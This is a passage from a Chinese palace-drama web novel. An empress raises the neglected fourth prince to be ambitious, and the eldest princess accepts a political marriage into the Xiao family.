他一次也没有带到学堂去过。
彩环纠结地问:“娘娘,殿下这是何故啊?这些东西……怎么处理?”
赵听嫣拧着眉。
回想起这几日下学后,齐子衡总是乖巧地向她回禀,那些小零食大家都很喜欢,模样真诚的一点都不像是在撒谎。
谁能想到……他竟然一次也没带去过?
她在乎的倒不是这孩子撒谎,毕竟要做纨绔的人,撒谎这点小毛病不过九牛一毛,她担忧的是他在学堂被欺负了,回来报喜不报忧。
做了坏事撒谎不要紧,受了委屈还撒谎那可不行。
忍住去把人揪回来好好质问一番的冲动,赵听嫣决定还是按照原计划,去文华殿扒窗户偷看一番。
看看这几日他在学堂到底什么样子,若是真的因为受欺负了不敢把那些吃食拿去……
那她也不必使什么拉拢的怀柔手断了。
学堂中一派祥和,即便此时是课间休憩的时候,也并未有人敢为难齐子衡。
倒也只是不怎么跟他说话罢了。
三皇子禁足,他的那些爪牙们自当明白如何,群龙无首也就偃旗息鼓了。
只是沉默也是一种排挤。
赵听嫣有些忧虑,思索着一会儿该如何再帮齐子衡涨一涨士气。
“娘娘莫忧,您快看……”顺着彩环手指的方向,赵听嫣这才发现那个被他罚跪的宣承仍跪着侍弄在齐子衡身侧。
宣妃和三皇子都被禁足,宣家自然再乖戾不起来,赵听嫣没有下令让他站起来听课,那宣承就只好一直跪着。
几日下来,约莫已经习惯了,这会儿课间的时候,正跪着给齐子衡斟茶。
齐子衡小脸板的很平,不卑不亢地接过他的茶盏,视线落在他脸上:“宣世子,不必跪着了。”
宣承还以为自己听错了,诧异的抬起头。
齐子衡平静地说:“以后你还是回到座位上听课吧。”
“真的……可以吗?皇后娘娘那边会不会……”
“罚跪不是目的,只是手段。”齐子衡低头觑着跪在地上的宣承,颇有种居高临下之感,“皇后娘娘睿智仁善,只是想让你明白一个道理,可我见宣世子始终不得其窍,便罢了吧,宣世子毕竟是……三哥的表兄。”
齐子衡这句话让宣承冷汗都冒出来了。
因着他那日得罪四殿下,害三皇子被禁足之事,已经狠狠挨了一顿鞭子了。
父亲千叮咛万嘱咐,在三皇子解禁之前,莫不可再得罪四殿下,可眼下他这句话什么意思?
说他毕竟是三皇子的表兄,难道……这几日白跪了,还是要收拾他不成?
宣承连忙磕头:“求四皇子赐教!”
“都说了让你别跪了,磕头作甚?”他睨了宣承一眼,叹道,“听闻宣世子喜爱斗蝈蝈,宣安侯却屡屡戒之,若是世子得了几盅好蝈蝈,是会将它们藏于房中的一处,还是分散藏匿?”
宣承想了想:“自是分开藏,我爹若是找到非得给我摔死不可,若是藏在一处被搜到岂不是什么都不剩了?分开藏他就算找到几处,约莫还能给我剩几个……”
齐子衡微微笑道:“自是这个道理。鸡蛋不能放在一个篮子里,否则一篮碎了,便功亏一篑。”
窗外的赵听嫣眼睛都瞪大了。
齐子衡这是在点那些三皇子的爪牙呢。
将所有的宝都压在三皇子一人身上,若是三皇子倒台,那他们所有人都得跟着陪葬。
不刻意拉拢,也不强行摁头,只是把利弊摆在众人面前,让他们自行选择。
哪怕他们明面上还是三皇子的人,大抵也再不会为难齐子衡,更有甚者……关键时刻倒戈也有可能。
宣承脑子不笨,很快就明白这是齐子衡在给他机会,连忙道:“谢四殿下!谢四殿下!”
果不其然,待到下个课堂间隙已经有人主动与齐子衡说话了,甚至还有人邀请他过几日一起去蹴鞠。
宣承则更是有眼力劲,不用跪在齐子衡身旁伺候,但课间还是会来给他倒水泡茶,甚至还让书童跑去拿了山楂干来:“殿下今日面色虚浮,大抵是有些积食,山楂茶可以消食开胃。”
“宣府厨子做的山楂糕甚是可口,我明日带来些与您尝尝。”
赵听嫣:……难怪把炸鸡都存起来了,原来是根本用不到啊。
看到他可以自己搞定这些人际关系,明明该欣慰才是,赵听嫣却有种怅然感。
这种感觉大抵就是长辈们总提的那句——
孩子长大了。
不过她还是很快给这种情绪进行了归因,大概是齐子衡的思维和行为都太正派了。
怎么看怎么有种睿智男主的感觉,让她一直以来的反派教育有些挫败。
对,一定是这样。
……
自打上次听到二皇子一番扎心的理论,齐子衡又
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缩回壳里去了。
他知道自己大抵是越来越得寸进尺,可却控制不住那股汹涌的情绪,那种想要独占皇后娘娘的情绪。
皇后娘娘那么好,如果只是他一个人的娘就好了。
可若是按照二哥的理论,皇后娘娘只是嫡母,是与他没有血缘的名义上的母亲,她待所有人都是一样的,怎么能独独对他一个人好呢?
所以他只能让皇后娘娘多喜欢他一点。
皇后娘娘说希望看到他快快长高,想要他健康成长,那他就快点完成皇后娘娘的愿望。
他每天都吃好多饭菜,果然皇后娘娘每日都会喜滋滋地摸摸他的小脸蛋,说他又长高了。
皇后娘娘开心,他也开心。
可那些为他研制的汉堡蛋挞,皇后娘娘却让他带去学堂与人分享。
齐子衡知道皇后娘娘的用意,无非是用这些食物讨大家欢心,让他们与他成为朋友。
可他心里却觉得有些不值得。
那些人根本不配吃皇后娘娘亲手做的点心,这些旁人见都没见过的东西,明明就是皇后娘娘为他一人准备的。
于是他趁大家不注意,把小汉堡、炸鸡和蛋挞们都偷偷藏了起来。
就像他想要独占皇后娘娘的爱一样,这些点心……也只能独属于他一个人。
齐子衡将点心藏得很好,他怕浪费,每天都会硬撑着多吃两块,不过即便有些时日久的已经坏掉了,齐子衡依然珍藏着。
坤宁宫的库房里放的都是皇后娘娘的财宝,那他的房间将来也会堆满属于他的财宝,他要把娘娘送他的所有东西都珍藏起来,那是独属于他的爱。
吃得太多,即便喝了宣承准备的山楂茶,齐子衡的脾胃还是遭不住了。
这日晚膳后,他喝了两碗牛乳,又吃了一截大棒骨,还将晌午时皇后娘娘做汉堡啃了大半个。
剩下那半个是皇后娘娘硬夺走的:“不可再吃了!你的小肚子都撑圆了,再吃非得消化不良!”
睡前准备洗漱的时候,齐子衡就觉得自己肠胃不大舒服,肚子里的食物顶到嗓子眼儿了,胃又疼又涨。
待宫婢将漱口水端来,齐子衡想起那个味道,终于没忍住,哇的吐了。
好不容易吃进去的食物吐了一地,肠胃还一抽一抽的疼,捂着肚子躺在床上,苍白的小脸上全是汗。
“娘娘!不好了!”宫婢扔下手中的东西就去喊赵听嫣,齐子衡都快哭了,想喊住她,奈何声音实在虚弱的不行——
“别……别告诉皇后娘娘……”
太医替齐子衡诊脉开方,又撩起他的衣服在肚皮上扎了几针,这才对赵听嫣道:“回禀皇后娘娘,四殿下乃是饮食不节,积滞中脘之证,近日当以白粥清养,日后进食当适量,切不可不加节制。”
直到送走太医,齐子衡都始终将脑袋埋在被子里做鹌鹑状,根本不敢露头。
“再蒙着就喘不上气了!”
赵听嫣把被子拉下来,盯着他羞怯的小脸失笑。
用眼神示意了一下他床下那两口箱子:“若是把那两箱也吃了,肚皮怕是都得撑破吧?”
15. 龙椅
那两个箱子里的东西……被皇后娘娘发现了?
齐子衡紧张地抬起头,很快又心虚地垂下脑袋,声音细弱蚊蝇:“对……对不起,我不该撒谎的。”
“本不该乱动你的东西。”赵听嫣朝那两口箱子努了努嘴,示意他自己下床打开。
“但味道实在是太臭了,洒扫的宫婢将东西翻出来,都馊了,我也不能原封不动给你放回去。”
齐子衡慢慢腾腾的爬下床,试图将两个箱子拖出来。
可箱子却仿佛装了千斤顶,沉的不行,最后还是在赵听嫣的帮助下,才勉强将两口箱子都拉出半截。
箱子没有锁。
齐子衡扣开箱盖,原本装满发馊食物的箱子里……竟满满当当的全是金子,亮的晃眼。
齐子衡:?
赵听嫣耸肩道:“我说了你的那些吃食都馊了,没办法存放,我给扔了。”
“所以就用别的东西给你填满了,喏,这些金子总比吃食更有保存的意义吧?”
赵听嫣大概分析了一下齐子衡把那些汉堡炸鸡存起来的心态。
苦日子过惯了,常年吃不饱让他有种潜在的危机感,哪怕坤宁宫坐拥金山银山,他也始终觉得那些东西不属于他。
把多余的吃的屯起来,免得将来再饿肚子。
这种可怜巴巴的野生动物一般囤积食物的行为,怎么也不该出现在一个皇子身上。
于是赵听嫣就把食物给他换成了金子。
她就不信每夜搂着两箱金子睡觉,还能有什么不安全感?
怕齐子衡不明白她的意思,赵听嫣还专门解释了一下:“这两箱金子都是你的,是属于你齐子衡的,哪怕有朝一日你离开了坤宁宫,离开了我,这些金子也可以带走……”
话音还未落,齐子衡就捉住了重点:“离开坤宁宫?皇后娘娘您……不想要我了吗?”
“怎么会不要你呢?”赵听嫣朝他脑袋上拍了一下,“你这孩子怎么总担心这些乱七八糟的。”
赵听嫣觉得有些头疼。
他们之间没有血缘,更不存在亲情的联结,再加上齐子衡那种根深蒂固的流浪狗心态……她的确很难完全取得对方的信任。
什么假惺惺的认亲都不顶用,人和人之间最可靠的关系还是利益的连接。
她是以任务对象的身份看待齐子衡的,当然一切以他为重,可想让齐子衡信任这份关系,她必须得拿出有说服力的理由。
就像白纸黑字的合同,共同利益摆在那儿,甲乙双方自然是最铁的联盟。
于是赵听嫣也干脆坦诚起来:“衡儿,这些时日你应该也对这后宫之事有所了解了。”
“我没有孩子,你父皇比我大太多,身体又不好,以后我们也不可能有孩子。”
“所以我才把你放在身边养育,你要是当了皇帝,我就是太后,我下半辈子是要指望你的,所以永远不可能抛弃你,明白不?”
齐子衡怔然地望着她,眸光闪烁。
赵听嫣觉得自己说的够明白了,但还是耐下心举例子解释:“我其实就是你的投资人。”
“额……打个比方,你是个手艺极好的点心师傅,我手里有几十两纹银且没有谋生的手段,于是给你投钱开了点心铺,我们就是最密切的合伙人,我只盼着你好,因为我要靠你给我的分红生活。”
“衡儿于我来说,就是这位顶顶重要的点心师傅。”
齐子衡垂下眼,并没有因为赵听嫣的一番表态而坚定,反而有些落寞。
他沉默了一会儿,终于抬起头来:“衡儿明白了,日后……日后定不会再说让皇后娘娘为难的话了。”
他顿了顿,用很小的声音嗫喏:“是衡儿太贪心……”
齐子衡知道他不该在皇后娘娘面前表现出这种贪婪来。
可他就是控制不住自己,控制不住地想,皇后娘娘对他这么好,他是不是可以真的把她当娘来看待。
可皇后娘娘却说,他们只是开点心铺子的伙伴。
只有冰冷的银钱交易。
他知道皇后娘娘是想让自己信她,可是他根本开心不起来。
到底还是因为他太贪婪了。
皇后娘娘对他好一点,他就妄想让皇后娘娘做他娘,明明眼下得到的一切已经足够幸福了,他怎么还是这样贪得无厌呢……
贪心吗?
赵听嫣恨铁不成钢地摇了摇头,不过两箱金子就满足了,这小子竟然还觉得自己贪?
贪嗔痴作为人性的三大弱点,必须极致放大,才能有朝一日成为偏执反派。
若是齐子衡能理直气壮都觉得整个坤宁宫的银库都是他的,那赵听嫣或许还能欣慰点。
可作为未来的纨绔反派,他竟然在表现出一点点贪欲时就能自责至此……
必须得让他“理直气壮”起来。
眼下时辰还早,赵听嫣干脆把齐子衡从榻上拽起来:“索性你也吃多了,走,跟我去外面散散步消消食。”
明月高悬,赵听嫣只带了两三个随从,与齐子衡步行了很久,终于来到太极殿的那条主路上。
皇帝平日在正殿理事上朝,所以这条路向来兵卫森严,即便是皇后,不得皇帝允许也是无法靠近的。
但也无妨。
赵听嫣领着齐子衡站在太极殿不远处的高台上,视线下方百十级台阶庄重森严,象征着皇权的雕龙画壁就盘亘在台阶中央,向远处望去,是皇宫层峦叠嶂的楼宇,在月华之下显得森然而华贵。
赵听嫣弯下腰,将齐子衡抱了起来,让他看的更远:“看到这偌大的皇宫了吗?”
齐子衡乍然被抱住,小脸上还是一片茫然。
赵听嫣却道:“这里是你的家,所以你根本不必忧心,所有的好吃的好玩的都是你的,这皇宫是你的,皇宫之外的整个南齐,也都是你的。”
她抱着齐子衡转了个方向,透过悠长的太极门望进去,里面隐约可见太极殿上的金色龙椅:“看到龙椅了吗?”
“有朝一日,就连那龙椅……也是你的。”
“世人常道知足为乐,但我却不以为然。”赵听嫣认真地说,“欲望是动力,当你觉得这天下的一切都应当属于你时,你才会去争取。”
“衡儿,你有这个条件,你是南齐国的四皇子,养在皇后膝下,是储位最有竞争力的人选,你不必妄自菲薄,山高月小,曾日月之几何,这山河自当在你的掌中看。”
赵听嫣拍了拍齐子衡的后脊,笑道:“腰板给我挺起来,明白吗?”
齐子衡怔怔的看着赵听嫣的眼睛。
月华在她眼中洒下一片清泠之色,她直抒胸臆,肆意洒脱,强大而自信。
就像在广阔天地翱翔的雌鹰,用她拥抱过天空的双翼教会她身后的雏鸟,该怎么大胆的飞翔。
她太美好了。
齐子衡暗暗地想,哪怕不说出来,哪怕皇后娘娘不愿意承认,他也会悄悄把她当做自己的娘的。
他根本不在乎天空到底有多辽阔,他只愿永远跟在雌鹰身后。
他想要的,
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唯有那凛冽又温柔的翼下之风。
赵听嫣见齐子衡不说话,还当他对自己的身份有顾虑。
也是,宫里宫外到处都是他娘是卑劣婢子的传言,西桂苑那两个太监指定也没少在他面前念叨。
“你娘到底是什么样的人,我们谁也不知道。”
赵听嫣将他放下来,揽住他的肩:“你我都未曾见过她,那些框在她身上的闲言碎语不能定义她,更不能定义你。”
“若要论个真切,在宗人府的皇子名册上,你齐子衡的姓名是清清楚楚记在先皇后宋氏名下的。”
“所以你看啊,你出生在坤宁宫,如今又养在坤宁宫,乃是天生的皇太子苗子!”
赵听嫣轻哼道:“你凭什么自卑?”
“你天生就该狂傲,就该目中无人……”
“就该永不知足的向前。”
清冷的月光流泻在这对不是母子却更胜母子的搭档身上,竟给森然的皇宫洒下了一丝暖意。
两只单薄身影只是月光下的一粟,冷月越过二人拾级而上,洒在不远处的朱门之内——
太极殿门口的石阶上。
太极殿旁侧就是尚书房,此时尚书房内灯火通明,一道清丽的身影跪在下首,正是大公主齐子燕。
上座的皇帝齐渊沉默不语,唯齐子燕一人得体冷持的声音回荡在尚书房内:
“父皇,子燕已经知足了。”
“子燕天生卑劣,是父皇和母后给了子燕新生,顶着公主的名号十多年了,子燕自当为父皇分忧。”
“眼下安抚萧家最好的办法……就是让子燕嫁入萧家。”
齐渊面色沉郁,手指摩挲着玉骨笔,终是叹了声:“都怪父皇没本事……”
齐子燕连忙叩首:“子燕自小便知道,当以天下为重,以父皇为先。”
“如今那萧国公拥兵自重,即便此番三皇子犯错,想让其心甘情愿南下除蛮,也不是一件易事。”
“以子燕的婚事安抚萧家,一是恩威并施,督促萧国公尽快出兵;二则子燕掌管少府监之权,让萧家以为娶子燕便可得府库,子燕定会让萧家露出更多破绽。”
齐渊捂着嘴猛地咳嗽了一阵,脸色苍白,声音嘶哑。
羸弱的模样看起来并不像一个叱咤的帝王,竟是满身都写满了孤苦和无奈。
他凄然地望着齐子燕,哽咽道:“用自己最心爱女儿的婚事做筹码,朕怎么忍心!”
“本应等你及笄,为你择一良婿,可现在却得让你嫁给那纨绔的萧家小子,踏入龙潭虎穴,待朕百年之后,该如何向你母后交代……”
齐子燕深深地望着面前的帝王,试图从他恳切的言语中寻得一丝真情来。
但很快,她还是垂下了眼。
若是不想让她嫁,便不会深夜召她入宫。
若是真的心疼,又怎么会状似无奈的说出这一番话。
萧家久未处置,他大概早就想要好了要用声名在外最得宠的大公主的婚嫁堵萧家之口。
齐子燕眼角滑下了一滴泪。
她天生卑贱,是该知足的。
更何况嫁入萧家,也早就在她的计划之中。
她不该伤心的。
深吸了一口气,齐子燕轻轻叩首,即便父女二人都心知肚明,这出戏她还是要陪她的好父亲演下去。
他演惯了,脱了面具又怎么能收场?
“儿臣都是自愿的。”
齐子燕哽道:“能做父皇和母后的女儿……子燕已经知足了。”
16.嫁纨绔
离开尚书房,清冷的月光洒在身上,竟让齐子燕觉得有些刺骨。
云香将披风披在她肩头,错半步的位置跟在齐子燕身后:“公主,陛下……提那件事了?”
“他怎么可能主动提。”齐子燕轻声道,“是我提的。”
装作无奈的样子让人主动为他做事,实则坑早就埋好了,不跳也得跳,这便是她这位好父皇的惯用伎俩。
云香急道:“公主怎么能主动提呢?您若是装傻不开口,陛下总不能拿刀逼着您不是?”
他早就拿着刀了。
在让她成为权倾朝野的大公主时,她就已经站在刀尖之下。
“不过顺水推舟而已,我本就计划嫁入萧家的。”
虽是这么说,可齐子燕到底不过十五岁的姑娘,心中难免对父亲有那么一丝真挚的期盼。
她深知齐渊秉性,也盼着在假意中觅得一丝怜爱。
但终究还是她妄想了。
齐子燕神色恢复清冷:“青竹姑姑的丈夫一直在萧家军中供职,可事发之后竟然销声匿迹,咱们寻得这么多年依旧一无所获,加之父皇对萧家的种种忌惮,我猜萧家定对当年之事知情。”
“只有越靠近萧家,才能离真相越近。”
轻抚着怀中那块螺纹羊脂玉佩,齐子燕原本冷肃的神情中终于染了一抹柔意:“什么都没有那件事重要。”
二人行之太极门处,发现不远处的观景楼台之上竟然有一大一小两道清瘦的身影。
齐子燕脚步不禁顿住。
皎洁的月光映出赵听嫣影影绰绰的笑脸来,她正抱着齐子衡看月亮,二人不知笑嘻嘻地说了些什么,赵听嫣又试着架着齐子衡的胳膊将他举起来。
其乐融融的景象,倒像对真母子,让这冰冷的皇宫多了一抹人气儿。
齐子燕情不自禁地勾起唇角,像是透过二人忆起往昔,竟就这样呆呆地望了许久。
“公主?”云香的声音打破了她的思绪。
齐子燕收回视线,脚下的路又冷又硬,过去的温暖已如镜花水月而去。
她早就无法回头。
……
赵听嫣的贪婪教育应当是起了些作用的,自从那晚教齐子衡觊觎龙椅之后,这小子总算没那么畏畏缩缩了,有什么要求和想法都会直接提。
本想着下个月冬节休沐,带他回赵家住一住,顺便培养一些民间纨绔子的不良习气,谁承想内务府那边传来消息,说是冬节皇帝要办宫宴。
这就有点不同寻常了。
据彩环报告,往年冬节妃嫔们被允许回母家探亲,臣子也可休沐阖家团圆,可从未办过什么劳什子宫宴。
事出反常必有妖,都不必赵听嫣打听,没两日大公主齐子燕或将被许配给萧家世子的消息就在宫内不胫而走。
冬节的宫宴不过是狗皇帝用来给萧家赐婚的相亲大会。
彩环叹息道:“大公主如此光风霁月的人,竟要嫁给萧家世子那纨绔?”
赵听嫣疑惑:“萧家世子是个纨绔?”
她隐约记得三皇子在学堂中的喽啰之一便是萧家的小世子,不过十一二岁的年纪,长得唇红齿白的,三皇子胡闹的时候他倒是没有跟着,只是萧家的身份摆着,他也不得不站队。
如此看来,那小少年其实并非萧家的世子?
“学堂中那位是萧家庶出的二少爷,世子早已及冠,但萧家总得派一个聪慧的为三皇子伴读,这才选了萧二少爷,据说那位小少爷诗文相当了得,还得到过陛下的褒奖呢!”
“与他比起来萧世子简直不像话,日日招猫逗狗流连青楼,如今已经二十有五,满京城竟无一世家愿意将女儿嫁给他!”
彩环摇头咂舌:“臣女们都不愿嫁的人,陛下竟让大公主嫁……”
如此龌龊之人,齐子燕会愿意嫁给他?
赵听嫣总觉得事情不简单。
狗皇帝的意图昭然若揭,无非是萧国公不愿南下除蛮,即便以禁足三皇子为胁,可若让人心甘情愿的干活总得给点甜头,齐渊这狗东西便想用大公主的婚事堵住萧国公的嘴。
这些年朝堂中有不少人认为大公主能干贤德,又手握重权,是以悄摸摸站队。
齐渊此举不但安抚了萧国公,更是将那些人蠢蠢欲动的心思打碎,再得宠再能干的公主嫁给纨绔,也不过是他一声令下的事。
可齐子燕竟然就这么轻轻松松被他拿捏了吗?
该不会……
赵听嫣猛地一拍脑门,她早该想到的!
齐子燕并非皇家血脉,即便权倾朝野又如何,她若想离帝位更近,身后须有实质性的支持。
于是她便顺水推舟,上了萧家这条大船。
要干事业的女人哪里还会在乎什么丈夫风评如何,她要的只是夫家的助力!
至于那萧家,更是有了双重保障!
若是三皇子扶不上墙,大公主这边又是一条通天路。
这哪里是什么不匹配的下嫁,分明是强强联合!
是针对赵听嫣和齐子衡的联合!
赵听嫣顿时出了一身冷汗,她还在这儿幼崽养肥计划呢,对手已经重新排兵布阵了。
如今不论是三皇子还是大公主,都会因为萧家和彼此成为四皇子弑父夺位路上的强有力绊脚石。
不行。
她非得把这婚事搅黄了不可。
门房收到了尚书大人托人带来的口信,说是赵家老夫人身体抱恙,请皇后娘娘出宫探望。
这个节骨眼送来的口信,准是赵擎也得到了大公主和萧家即将联姻的消息,邀赵听嫣回家商议对策。
上次因为她贸然收养齐子衡的事情,赵擎进宫质问只是情急下策,往常遇到这种大事,都是赵听嫣回赵家商量的。
如此一来,原本计划的冬节带齐子衡回家之事便可提前了。
只是……在此之前,赵听嫣还是得去齐子燕那里探探口风。
长乐殿就在坤宁宫隔壁。
除了偶尔飘过来的缕缕桂香之外,长乐殿规矩宁静地就像齐子燕本人一样,让人挑不出一点错处。
已快入冬,满园的桂子都落了,枝头唯留一片翠意,清冷的空气中却隐隐约约还有一丝桂花甜丝丝的味道。
没等宫侍大声通传,齐子燕已经迎了出来,恭敬地向赵听嫣行礼:“恭迎皇后娘娘,娘娘万安。”
赵听嫣打量着她。
对方表情仍然一如既往的端庄宁静,像是根本不在乎即将到来的糟心婚事。
不愧是要成大事的女人,小小年纪就稳得一批。
齐子燕是一个令人赞叹的对手,不过该说的话还是要说的,不管有用没有,赵听嫣此行的目的就是率先践踏她的心理防线。
于是赵听嫣顿了顿,开诚布公道:“虽然从辈分上来说,我应是你的嫡母,其实我不过大你一岁。”
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“若是我没有嫁给陛下,或许我们有机会成为闺中密友。”
齐子燕有些诧异的抬起头,目光落在赵听嫣脸上一瞬,复又垂下。
“皇后娘娘说笑了,子燕怎敢僭越。”
赵听嫣并不在意她的疏离,而是径直来到园中的石凳上坐下,用眼神示意齐子燕坐她对面。
直到两人都坐定,她才道:“你可能想象不到,嫁给陛下并不是我家父兄的意思,是我自己主动提出来的。”
真诚永远是必杀技。
赵听嫣猜测,即便是从前的赵听嫣,大概也不会向除了家人以外的人暴露自己的野心。
“我的父母家人都希望我能嫁个敬我爱我的好人家,哪怕我跋扈任性,有赵家为我兜底,我也能一辈子与丈夫‘琴瑟和鸣’。”赵听嫣笑笑,“但我偏不,我是个有野心的人。”
“我从来不在乎幼稚的情爱,我有自己想要的东西。”
“我相信……你也一样。”
她目光灼灼地看着齐子燕的眼睛,果然捕捉到了对方一闪而过的动容。
“我的确得到了我想要的东西,我才十六岁,但你们所有人见到我都得下跪。”赵听嫣轻声道,“可你猜我有过后悔吗?用自己后半生的幸福去赌?”
齐子燕没忍住接话道:“你……后悔了?”
赵听嫣抿着唇盯了她半晌,然后笑眯眯的摆手:“怎么可能!”
“我快乐的要死,怎么会后悔!”
“只是……”赵听嫣垂眸,“我的父亲每每从北境寄信来,总会说他忧思难寐,担心我过得不幸福。”
“我的母亲但凡听到宫里的一点风声,就会大病一场,我的姐姐虽然不说,却总想着多给我送一些财物让我快乐,我的长兄本应潇洒快意,却被迫在朝堂为我筹谋,再也难见笑容。”
“他们每个人都想让我过简单快乐的生活,不愿看到我在宫中磋磨一生。”
齐子燕眸光闪烁,垂着眼睛不知在想些什么。
“我的侍女彩环曾说过一句话,最爱你的人心最低。”赵听嫣道,“彼时我才恍然大悟,我的家人太爱我了,他们从不盼望我成为入云的飞鸟,哪怕我一辈子躲在他们的羽翼之下,只要我过得幸福快乐,就够了。”
“子燕。”
赵听嫣唤了她一声,抬手接过来彩环递上的丝绢布料。
与那日齐子燕送送来坤宁宫的那两抬箱子里,给齐子衡的衣物布料纹样、材质相同。
“尚衣局的人说,这几种布料都是今年年初江南进贡的最好的云锦,云锦每年都会进贡一些不同的纹样,而你每年都会做一些男孩的衣裳备着。”
“还恰巧都是衡儿的尺寸。”
“衡儿不比寻常皇子,常年吃不饱穿不暖,身量要比同年岁的孩子小很多,你却能时时得知他的尺寸。”
“你并非像你表现出的那样,对衡儿不闻不问,对吗?”
赵听嫣视线落在齐子燕垂下的眼睫上,步步逼近:“你在乎他,不论传言如何,在宗人府里,他始终是先皇后宋氏的子嗣。”
“你想要像先皇后珍爱你那样,珍爱她的孩子。”
“可是子燕啊,你有没有想过——”
“若是先皇后在天有灵,看到她最心爱的女儿用她后半生的幸福去搏一个未知的结果,她能放得下心吗?”
齐子燕一顿。
纤长的睫毛终于颤了颤。
17.赌坊
齐子燕不过是个十五岁的少女。
放在现代,还是渴望被爱又叛逆青涩的高中生,所以亲情刀最管用了。
她脸上终于出现了一点端庄假人之外的情绪。
纠结、痛苦,复又恍然,说出的话也咄咄逼人了一些:“皇后娘娘果然巧言善辩,母后已经仙逝,想要以她的名义让我拒婚,怕是已经不能了。”
“更何况这桩婚事是父皇亲自定下的,我作为父皇的女儿,自然只能尊崇父母之命。”
“皇后娘娘有这个功夫游说于我,不如去父皇那里想想办法。”
啧,还以为说动了呢。
心智果然坚定啊。
赵听嫣站起身,轻笑了一声准备离开。
走到门口时,又突然回过头来看她:“刚刚有件事情我骗了你。”
“其实我很后悔。”
赵听嫣耸了耸肩:“我的确想要权力,可若是让我回到当初重新选的话,我大概不会选择这条路。”
“条条大路通……通京城,我可以选择其他方式得到我想要的,没必要拿自己的婚姻做赌注,恶心一辈子。”
“齐子燕,你我是同一类人。”
赵听嫣说道:“同为女子,我这句话是真心的,不论你的目的是什么,都不必搭上自己的下半辈子,不值当。”
齐子燕依旧端庄知礼地目送着赵听嫣离去,面上波澜不惊。
可揣在衣袖中的右手,此时正紧紧地攥着那枚螺纹羊脂玉佩,被汗意沁湿的指尖冰凉滑腻。
云香见她出神,犹犹豫豫地开口:“公主,其实……其实奴婢觉得皇后娘娘说的挺有道理的。”
“住口。”
齐子燕有些痛苦地闭了闭眼睛。
初冬的凛风轻轻抚动她发间的步摇,胸口升腾起的那一股热意正在慢慢被冷风浇灭抚平。院子里的桂树叶被风吹的沙沙响,花落太久了,已经闻不到那一抹淡淡的香甜桂味了。
就在这时,风不知从哪卷来一粒干枯的桂花花瓣,落在她的鼻翼上。
齐子燕猛地睁开眼,手指撵住了那一粒已经完全失去水分的花瓣,隐隐嗅到指尖弥留的清香。
她愣了片刻,突然失笑起来。
没有人在乎她嫁入萧家会不会幸福,父皇不在乎,她的门客不在乎,甚至连她自己……也不在乎。
她从未觉得那里是龙潭虎穴,她只是执拗地想要离真相更近一些。
可那个最不该关心她的人却认真的跑来告诉她——
不值当。
齐子燕不由得回想起她五岁那年。
已经知事的年纪,也意外得知了自己的身世。
世家子弟们并不因为公主的身份敬她,她稍微活泼点,就会被人私下议论,不愧是妓子的女儿,一身的风尘气。
下人们表面上对她恭敬,可背地里也会瞧不起她。
她无所适从地想要投湖,她不明白母后为什么要带她走,以她这样的身份,就该烂在泥里的。
可就在她打算投湖的那个深夜,她的母后宋玉只着单衣,于风雪中紧紧搂住了她。
她并不期艾,只是露出和赵听嫣一模一样的眼神,一字一顿地告诉她——
“子燕,不值当。”
……
回赵家探病之事耽误不得了。
赵听嫣从长乐殿回来后,就差人收拾行李,等齐子衡下课回来后,连夜出宫回赵家。
她也原本没想着三言两语就能劝得动齐子燕。
这姑娘是个干大事的人,主意正,所以想要搅黄这桩婚事,恐怕还是得从那个萧世子身上下手。
马车摇晃着赵听嫣的思绪,得做的悄无声息,一面让齐渊乖乖闭嘴没话可说,一面还得让萧家老老实实认怂南下,除非……
“干脆直接做了那个萧世子!”彩环露出血腥的表情。
赵听嫣:……
瞥了一眼茫然瞪大眼睛瞧着二人的齐子衡,赵听嫣恨铁不成钢地拍了下彩环的头:“别瞎说。”
“就算没了萧世子,萧家还会挑出别的联姻人选来。”
“万一到时候萧国公老头子自己上了咋办,还能把萧老头也做掉?南疆谁来守?”
彩环撇撇嘴:“是奴婢多嘴了。”
“好啦,”赵听嫣揽着齐子衡的肩膀,表情放松了些,“我们此行的目的是回赵家探亲,顺便带衡儿好好在民间玩乐一番,那些乱七八糟的事情先放后面。”
赵听嫣拉开车架窗帘,街上叫卖声不绝于耳,灯烛通明热闹非凡 ,一旁的齐子衡果然新奇地瞪大了眼睛,探着脖子向外望。
赵听嫣看着他屁股还被迫黏在凳子上,心绪却早就飞出去的样子,不禁失笑:“站起来看不就得了?”
齐子衡笑盈盈地应是,像只快乐的小鸟,与赵听嫣一起没规矩地趴在窗边看。
说实话赵听嫣对古代集市也是很新奇的。
和影视剧中的演绎还是有些区别,路没有那么平坦,不是青砖石瓦,不过土倒是夯的很实,只有快马走过时才会卷起尘烟。
大多商贩并没有固定的店面,而是推着木头小车,车上放着灯烛、针线、或是油碳一类的日用品,只有少数几个摊贩卖点有意思的手工品,诸如面具、风筝、九连环之类的东西。
不过这种程度已经足够让齐子衡眼花缭乱了。
他好奇地观察着每一个摊贩的商品和样貌,在路过糖葫芦小摊时忍不住问:“娘娘,那是什么吃的?”
夜色才将将擦黑,时辰还早,带他下去转转倒也耽误不了什么功夫。
于是赵听嫣拎着齐子衡下了马车,给了他一锭银子:“喏,自己去买吧。”
赵听嫣不习惯摆皇后仪仗,所以此次出宫算是微服出访,只带了几个会武的侍从,她则扮做大户人家的夫人。
没一会儿齐子衡就举着两串糖葫芦回来了,给了赵听嫣一根,一边吃一边朝糖葫芦摊斜对面张望。
那里围了很多人,大呼小叫的,凑近一看才发现是在斗蝈蝈。
一只小小的蝈蝈笼子里,两只虫儿打架,旁边的大汉神情激动地呐喊,恨不得他们代替蝈蝈亲自上场打拳。
齐子衡只扫了一眼就兴趣缺缺。
虽然赵听嫣也觉得这项活动没什么意思,但这玩意到底是纨绔必备,还是得给他培养点兴趣。
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>于是赵听嫣道:“给你也买一只?”
齐子衡悻然摇头:“没什么意思,宣世子喜欢这个,我还当多有趣呢。”
男子生来争强好斗,赵听嫣觉得齐子衡体内的基因只是还没有被唤醒:“你看,那蓝衫男子的蝈蝈应当是这摊子的擂主,许是整个京城最厉害的蝈蝈也说不定。”
“而与他搏斗的中年男子的蝈蝈,若是胜了,便是打擂成功,他的蝈蝈便会被认为是全京城最强的。”
“这种荣誉感就会激发人的斗志。”
“怎么样,你要不要买一只蝈蝈?咱们给它喂最好的饲料,保准比那蓝衫男子的蝈蝈强壮……”
齐子衡咬了口糖葫芦,有些茫然:“全京城最厉害的蝈蝈……能封侯拜相吗?”
赵听嫣:“……不能。”
“能带兵打仗吗?还是说能犁地耕田?”
赵听嫣:“……都不能。”
